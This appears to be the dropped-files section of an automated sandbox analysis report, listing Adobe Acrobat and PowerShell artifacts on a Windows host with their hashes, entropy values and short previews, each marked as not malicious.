SHA-512:	35FCB36EF58B9D788615EE6B0DB4C3B94A472E2CCFB6365F5AAC36EEA6144CF8FAA6EE7C3D383A67CE3FBA43C73EF2DD9C065CAC37B0939DF4281A04378079C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4098ca41-a2b2-4c08-a612-4746bf5e03ab","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736751095623,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664533232486966
Encrypted:	false
SSDEEP:	24:Yv6XXJhiamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSkS:YvGJh8BgkDMUJUAh8cvMn
MD5:	05FE305114A99EA15E17F41EF151875E
SHA1:	CAC51A78E14F2C2A8E2A3D0B99CC7BC7B37CDBFD
SHA-256:	EA0A467BD0A6067D1EAA3398613EBF77B2E6C93BB250070EB85D712D36682CF0
SHA-512:	B37ABFF7DFA2FA78F1DB05FF9A9F685A39BEF7818BCF9E6A1FD468BE3DF0C6EBB2BB0ADC60A1531B2DEA3A82AC3F681796C195A2E3488C96ACCB4084F01904F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4098ca41-a2b2-4c08-a612-4746bf5e03ab","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736751095623,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.243552513324534
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD6WJ6DJ2vB3/dVlPIHAR0YHKoAvJfshHHrPeUkwRe9:YvXKXXvR/ZwHA75GUUUkee9
MD5:	BA5E7AD83BDE59D8EAD6F598D79F6723
SHA1:	08E020E311ED7E08A7E1A3F60D490B6F6AD7B059
SHA-256:	7D9811AA69051953099AA9B4245A98E479D9043C4151B73976505C25550627BA
SHA-512:	B66097CF75247DBE43E4B339A79FAF2E730C9887A28C3B16846EE8C19526E9546BD25BBEC7829335EC3BD5B249E868A36C4FDBA52390954DBEF4D4D4D2E71B2B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4098ca41-a2b2-4c08-a612-4746bf5e03ab","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736751095623,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.25661431194925
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD6WJ6DJ2vB3/dVlPIHAR0YHKoAvJTqgFCrPeUkwRe9:YvXKXXvR/ZwHA75GTq16Ukee9
MD5:	A15896C45941B56DCB50DB38C7DA6B79
SHA1:	1FC72CF6117F9FF96BA314BC895F860E635E89DA
SHA-256:	8CD20629EEBE4863A549C9E828AB556329E83621ED504E9D0D260E54102A7C8A
SHA-512:	78F71DD7D43E8967EAEFEF12B42EB5BDEAA7D3E1CDBF41478FD562A0700480FDF08CD71D99BFE4A65D6E29734E3B59FA87036E52BEAB4041EF491276A7253C5E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4098ca41-a2b2-4c08-a612-4746bf5e03ab","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736751095623,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1421869867333525
Encrypted:	false
SSDEEP:	48:Y0D5Eau576YlE2/ej1y6AR2GnW/V99nVX:N9EauZ6SE2/ej1jqnWFt
MD5:	C95AAD7315CFA0263405B9F45D773A5E
SHA1:	275C0B1060D08DC4DE1F5D14B6F3B9333969D3D2
SHA-256:	23E71DADFB47AB45080D6AFB027B00429E11711B523313001FBE5690D64FA4F4
SHA-512:	43835FA3FF4B1A2FA25ED84BED14298D44FC38D34E554566D82BB5BA51A7D0F663BB8CA25C9AD5E5C57A47DAE9E08DBB01D74D18D9BC7CF9482473FEA9D111CA
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ebf94f497257c651befc1de400f6acba","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736574635000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"95b6a3ff9bea5f3cd5434bdefa37f8ae","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736574634000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"5e25514c8c069cbdec22ed1bde19c345","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736574634000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"66c38b6fc911eeb748886dd9757557b5","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736574634000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"5660fe76a284d319056c6405eaef7afe","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736574634000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"b31e2658a35aca55f74fac125a6aa722","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3184666167773689
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe5PEtqVS:TGufl2GL7ms9WR1CPmPbPahtuypilIbI
MD5:	3EB85981B8DD0717DB719E7574C66A42
SHA1:	C17EB3F4DE79506B34E94067BE8D8D64C59F11D4
SHA-256:	C503C38B0A83C9CAB17BBC10CB990033C78478B481D67E0DDAC07873AF7D24D3
SHA-512:	6792492A60732F98DE1554F30C5D664C992CA746B7760D8B94BCCBCB27DED52B0F6DC3DC33E73F8F855DB0A8F5A5C045F5FEF53ACFBA434AE358ABFA0EE54039
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7805764139895022
Encrypted:	false
SSDEEP:	24:7+tklhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe5PE4qVpaVrScVr0InVqLhxu:7M7WR1CPmPbPahtXypilIgqFl2GL7msQ
MD5:	BC45DBA654C493F666059C5315900592
SHA1:	D459F077366F28B933F785609DBF589077647E76
SHA-256:	2149CF63CE1DA927BFA4B7347D89A8BB07F85DFC25D8B802683EEAA327A12409
SHA-512:	616593C2360EAFA4291980C021BE888B83072261FE8FA2375130B926882CFCF81AE80E538F3A751736B41EE2310761C765CC6B917B4EF8B5FBB151629F646343
Malicious:	false
Preview:	.... .c.....wH............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgb+V8ycytjobnQjGWMoQr8vEcGEEYyu:6a6TZ44ADEb+V8ycWkb4TE+EK
MD5:	B846755A526ECF4BDC4519EFD2479D71
SHA1:	7280B4C51530A8ABD68ACD3AFE5FFD0E9B7018E9
SHA-256:	F7C90A8D20EB546CEFE705E2B7FB472898E16CAFE7071BFC444957A0867975F3
SHA-512:	4FBACD20D24913AF22399486CEEA9A3095EE418754E2ADFE1A4F84C86942CD78554828623EA0D94DA9FBC41C7EB0B0DA02886B356D5A38BCF19CE06C6305C4F0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIeda93.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Clll:Qw946cPbiOxDlbYnuRKd2
MD5:	FB5E315FDD24EF9B039BA5E9CE426F04
SHA1:	18F6B1CE097203B188710D694CB99DFF0D178FD9
SHA-256:	EC31DA826578A534440DBE2803219F23E02CDE675DCA92E185334BFC12A5A7D7
SHA-512:	3A18045FC94C69F818602BB4DB03C4553E77DC679A8F29E10E9A60A9B72CA30B2908C3FD871CAE02E554255C6FCD9633AB1C8016A92C7720FD77E51403E00A5C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.5.0.:.3.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_15wk1frk.s0t.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rqexj0nq.rlo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-50-28-602.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15113
Entropy (8bit):	5.352742781327911
Encrypted:	false
SSDEEP:	384:QQqpiYXNiPChG0TiIebq+N8RPqi94BtmSKrKc2YdXQozvuQj1esdEqsRT63S4HtV:GSE
MD5:	FFE9B272BD04BDE6961EB5C6E0552B91
SHA1:	EAE4479A4CBA9942484FDB80800EFC12CBF9A7CE
SHA-256:	865A6C6DDAA0EAAD32ED53911D29BBBF1351E55021996BE80F8A4AFD5F578CDB
SHA-512:	40CD73836B917865B746794353A450AA04CAFA5FC4A2979196BCD0C02FC9BC9CD15B1CAB449C05EC6178B86AE34C545F4FE89FCBA1B949450B7F2836D9EB6E6B
Malicious:	false
Preview:	SessionID=21f336ae-eb04-44b4-9883-d333b82804d7.1736574628625 Timestamp=2025-01-11T00:50:28:625-0500 ThreadID=7160 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=21f336ae-eb04-44b4-9883-d333b82804d7.1736574628625 Timestamp=2025-01-11T00:50:28:626-0500 ThreadID=7160 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=21f336ae-eb04-44b4-9883-d333b82804d7.1736574628625 Timestamp=2025-01-11T00:50:28:626-0500 ThreadID=7160 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=21f336ae-eb04-44b4-9883-d333b82804d7.1736574628625 Timestamp=2025-01-11T00:50:28:626-0500 ThreadID=7160 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=21f336ae-eb04-44b4-9883-d333b82804d7.1736574628625 Timestamp=2025-01-11T00:50:28:626-0500 ThreadID=7160 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.40256983983251
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbhcbuIgQcbZ:ceo4+rsCggf
MD5:	1BC9C592063E887C87CA99C97B5585D8
SHA1:	89454A71EC7362509E4D61B9ED615912E56CEDDE
SHA-256:	1164EBB5CB0EAB081E64E00CE6572E45BBAF065F4CDF2D434E135B0CBF6DFA75
SHA-512:	695A5BFA716E109E19C12AA2C61D1F5125EE78F364F24072618C0733F533F644B5F1BECC4A934B38389BAA6108709B63DDF650C12876874D1C67E2F3FCEDEA8B
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\344c0332-435e-4354-b959-59c93efbdc8b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oywYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxywZG6GZn3mlind9i4ufFXpAXkru
MD5:	FFA982D6F2F9B46A1DECDD28BF3EF0E1
SHA1:	B1D05ED9BD6A80BD0E3377E9F62B47EF83FCC0C8
SHA-256:	93D954FA4BBEDCDFBC7BF14FA1BB3986056261F4A5035C3CFF229FF16D12B78B
SHA-512:	BF2931508F2039FFF4A74EC9B2FF2706FCF05DC5D56E22CA9C74B7C4AF9E8B4173419791DE648FD77AE7C4B441734E7C70C964A2B91C816FC98C9BA78BEB7879
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5d0b9605-62f0-41b5-8799-459d45a425a6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5d2e65a6-a88d-4ded-8449-58f655a0a31a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\6abe09a6-937f-4800-a367-de4391089b8b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
